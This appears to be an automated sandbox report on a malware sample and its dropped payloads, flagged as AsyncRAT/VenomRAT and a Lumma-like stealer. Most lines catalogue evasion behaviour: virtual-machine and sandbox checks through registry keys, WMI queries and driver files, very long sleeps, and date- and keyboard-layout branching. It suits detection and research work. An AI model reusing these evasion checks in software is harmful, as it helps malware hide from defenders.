Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Check for Windows Defender sandbox
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe File Queried: C:\INTERNAL\__empty
Yara detected AsyncRAT
Source: Yara match File source: 37.2.vm.exe.4e40000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.2.vm.exe.28c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.vm.exe.4e40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 43.2.vm.exe.28c0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Yara detected VenomRAT
Source: Yara match File source: Process Memory Space: vm.exe PID: 392, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: vm.exe PID: 5776, type: MEMORYSTR
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Users\user\Desktop\7Y18r(14).exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\ftejced Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ftejced Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ftejced Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ftejced Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ftejced Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ftejced Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Queries memory information (via WMI often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_DiskDrive
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Query firmware table information (likely to detect VMs)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe System information queried: FirmwareTableInformation
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\Desktop\7Y18r(14).exe API/Special instruction interceptor: Address: 7FF8418CE814
Source: C:\Users\user\Desktop\7Y18r(14).exe API/Special instruction interceptor: Address: 7FF8418CD584
Source: C:\Users\user\AppData\Roaming\ftejced API/Special instruction interceptor: Address: 7FF8418CE814
Source: C:\Users\user\AppData\Roaming\ftejced API/Special instruction interceptor: Address: 7FF8418CD584
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: vm.exe, 00000025.00000002.3753331272.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, vm.exe, 0000002B.00000002.2883515347.00000000028C0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\753F.exe Memory allocated: 1C0F25F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\753F.exe Memory allocated: 1C0F3D80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\753F.exe Memory allocated: 1C0F76E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\753F.exe Memory allocated: 2AC86500000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\753F.exe Memory allocated: 2AC9FE60000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 170000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 2A80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 28A0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 110000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 28F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 48F0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\VBoxSF.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\vmnet.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\vmmouse.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\vboxtray.exe Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\vboxhook.dll Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\VBoxGuest.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\VBoxVideo.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\vmci.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\drivers\VBoxMouse.sys Jump to behavior
Source: C:\Windows\explorer.exe File opened / queried: C:\Windows\System32\vboxservice.exe Jump to behavior
Contains functionality to detect virtual machines (SLDT)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 32_2_00007FF7C0971049 sldt word ptr [eax] 32_2_00007FF7C0971049
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\753F.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\753F.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\753F.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\753F.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Thread delayed: delay time: 922337203685477
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 420 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 984 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 610 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 3881 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 799 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 812 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\753F.exe Window / User API: threadDelayed 1421
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 9216
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Window / User API: threadDelayed 4884
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to dropped file
Found evaded block containing many API calls
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Evaded block: after key decision
Found evasive API chain (date check)
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 2104 Thread sleep time: -98400s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 2572 Thread sleep time: -61000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 2104 Thread sleep time: -388100s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\753F.exe TID: 7548 Thread sleep count: 1421 > 30
Source: C:\Users\user\AppData\Local\Temp\753F.exe TID: 7596 Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\753F.exe TID: 1504 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\753F.exe TID: 1816 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\753F.exe TID: 4200 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\753F.exe TID: 7524 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\753F.exe TID: 3528 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7084 Thread sleep time: -210000s >= -30000s
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7684 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 280 Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6900 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe TID: 6464 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe TID: 3440 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe TID: 3172 Thread sleep count: 4884 > 30
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe TID: 7680 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe TID: 6244 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\explorer.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM WIN32_Processor
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B8D7000 GetKeyboardLayoutList followed by cmp: cmp r8d, 00000419h and CTI: je 00007FF70B8D71AFh 24_2_00007FF70B8D7000
Uses the system / local time for branch decision (may execute only at specific dates)
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA1718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00BA1754h 5_2_00BA1718
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE1718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00EE1754h 17_2_00EE1718
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose, 5_2_00BA29E2
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose, 17_2_00EE29E2
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread, 5_2_00BA2B8C
Source: C:\Users\user\AppData\Local\Temp\753F.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\753F.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\753F.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\753F.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\ Jump to behavior
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696501413o
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696501413j
Source: explorer.exe, 0000000E.00000000.1447862980.00000000095B9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: 1efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000E.00000000.1447298084.00000000094DC000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWp
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: explorer.exe, 0000000E.00000000.1447862980.00000000095B9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}?
Source: B552.exe, 0000001B.00000000.2227933484.00007FF75F3B0000.00000002.00000001.01000000.0000000B.sdmp Binary or memory string: runtime: sp=abi mismatchout of rangeCypro_MinoanMeetei_MayekPahawh_HmongSora_SompengSyloti_Nagrimultipathtcp127.0.0.1:53no such hostCIDR addressunknown portinvalid portgetaddrinfowtransmitfileGetConsoleCPnot pollableECDSA-SHA256ECDSA-SHA384ECDSA-SHA512SERIALNUMBERstringlengthContent-Typecontext.TODOtlsunsafeekmclose notifyremote errorc hs traffics hs trafficc ap traffics ap traffichttpmuxgo121PUSH_PROMISECONTINUATIONCookie.Valuecontent-typemax-forwardshttp2debug=1http2debug=2100-continueMulti-StatusNot ModifiedUnauthorizedI'm a teapotNot ExtendedproxyconnectMime-VersionX-ImforwardsX-Powered-Bybad Tc valuebad Th valuebad Tq valuebad Pq valuebad Td valuebad Ta valuedisplay-nameban-durationRemoveSignerGetDealLabelChangePeerIDTransferFromgotypesaliasRCodeSuccessRCodeRefusedinvalid baseInstAltMatchunexpected )altmatch -> anynotnl -> empty numberReadObjectCBdecode arraydecode sliceunknown type = struct { Content Type (sensitive)simple errordbl-sha2-256base32hexpadbase58flickrbase64urlpadbase256emojiavx5124fmapsavx512bitalgcaller errorPskModePlaineccsi_sha256PUNSUBSCRIBESUNSUBSCRIBE(database)s$Switch Proxy.fasthttp.gz.fasthttp.brAMDisbetter!AuthenticAMDCentaurHaulsGenuineIntelTransmetaCPUGenuineTMx86Geode by NSCVIA VIA VIA KVMKVMKVMKVMMicrosoft HvVMwareVMwareXenVMMXenVMMbhyve bhyve HygonGenuineVortex86 SoCSiS SiS SiS RiseRiseRiseGenuine RDCECH requiredbad KDF ID: BindCompleteFunctionCalluncompressedparsing time out of rangeDeleteServiceRegEnumKeyExWRegOpenKeyExWStartServiceWCertOpenStoreFindNextFileWFindResourceWGetDriveTypeWMapViewOfFileModule32NextWThread32FirstVirtualUnlockWaitCommEventWriteConsoleWRtlGetVersionRtlInitStringCoTaskMemFreeEnumProcessesShellExecuteWExitWindowsExGetClassNameWtimeEndPeriodFreeAddrInfoWgethostbynamegetservbynameWTSFreeMemoryFindFirstFileWSACloseEventgethostbyaddrgetservbyportWSAResetEventWSAIsBlockingSysFreeStringSafeArrayLockSafeArrayCopyVarI2FromDateVarI2FromDispVarI2FromBoolVarI4FromDateVarI4FromDispVarI4FromBoolVarR4FromDateVarR4FromDispVarR4FromBoolVarR8FromDateVarR8FromDispVarR8FromBoolVarDateFromI2VarDateFromI4VarDateFromR4VarDateFromR8VarDateFromCyVarCyFromDateVarCyFromDispVarCyFromBoolVarBstrFromI2VarBstrFromI4VarBstrFromR4VarBstrFromR8VarBstrFromCyVarBoolFromI2VarBoolFromI4VarBoolFromR4VarBoolFromR8VarBoolFromCyVarUI1FromStrCreateTypeLibClearCustDataLoadTypeLibExVarDecFromUI1VarDecFromStrVarDateFromI1VarBstrFromI1VarBoolFromI1VarUI1FromUI2VarUI1FromUI4VarUI1FromDecVarDecFromUI2VarDecFromUI4VarI1FromDateVarI1FromDispVarI1FromBoolVarUI2FromUI1VarUI2FromStrVarUI2FromUI4VarUI2FromDecVarUI4FromUI1VarUI4FromStrVarUI4FromUI2VarUI4FromDecBSTR_UserSizeBSTR_UserFreeVarI8FromDateVarI8FromDispVarI8FromBoolVarDateFromI8VarBstrFromI8VarBoolFromI8VarUI1FromUI8VarDecFromUI8VarUI2FromUI8VarUI4FromUI8VarUI8FromUI1VarUI8FromStrVarUI8FromUI2VarUI8FromUI4VarUI8FromDecOMAP From SrcInterfaceImplStandAloneSigAssemblyRefOSEFI byte codeMIPS with FPUEFI ROM imageAlign 2-BytesAlign 4-BytesAlign 8-Bytesby_start_timeDRAINING_SUBSDRAINING_PU
Source: BitLockerToGo.exe, 0000001F.00000002.2489794130.0000000002F86000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000001F.00000003.2366071084.0000000002F86000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWl;~%
Source: IXDaI.exe, 00000005.00000002.1466246003.00000000011D9000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000005.00000003.1330174994.00000000011D9000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000005.00000003.1337998846.000000000118B000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000005.00000002.1466246003.0000000001168000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1447298084.000000000952D000.00000004.00000001.00020000.00000000.sdmp, IXDaI.exe, 00000011.00000002.1680424006.000000000137E000.00000004.00000020.00020000.00000000.sdmp, IXDaI.exe, 00000011.00000002.1680424006.00000000012F8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000001F.00000002.2489794130.0000000002F86000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000001F.00000003.2366071084.0000000002F86000.00000004.00000020.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3739679273.0000000000575000.00000004.00000020.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3755459555.0000000005590000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: explorer.exe, 0000000E.00000000.1447298084.00000000093B4000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: explorer.exe, 0000000E.00000000.1445489824.0000000006F94000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: explorer.exe, 0000000E.00000000.1443804807.00000000008DE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000o;
Source: explorer.exe, 0000000E.00000000.1447862980.00000000095B9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 0000000E.00000000.1447862980.00000000095B9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: NXTbrVMWare
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: wscript.exe, 00000028.00000002.2753282593.0000022B5D5A5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\H
Source: explorer.exe, 0000000E.00000000.1445489824.0000000006F94000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: 2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: B552.exe Binary or memory string: .brAMDisbetter!AuthenticAMDCentaurHaulsGenuineIntelTransmetaCPUGenuineTMx86Geode by NSCVIA VIA VIA KVMKVMKVMKVMMicrosoft HvVMwareVMwareXenVMMXenVMMbhyve bhyve HygonGenuineVortex86 SoCSiS SiS SiS RiseRiseRiseGenuine RDCECH requiredbad KDF ID: BindCompleteFunct
Source: explorer.exe, 0000000E.00000000.1447298084.00000000094DC000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: %SystemRoot%\system32\mswsock.dlldRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
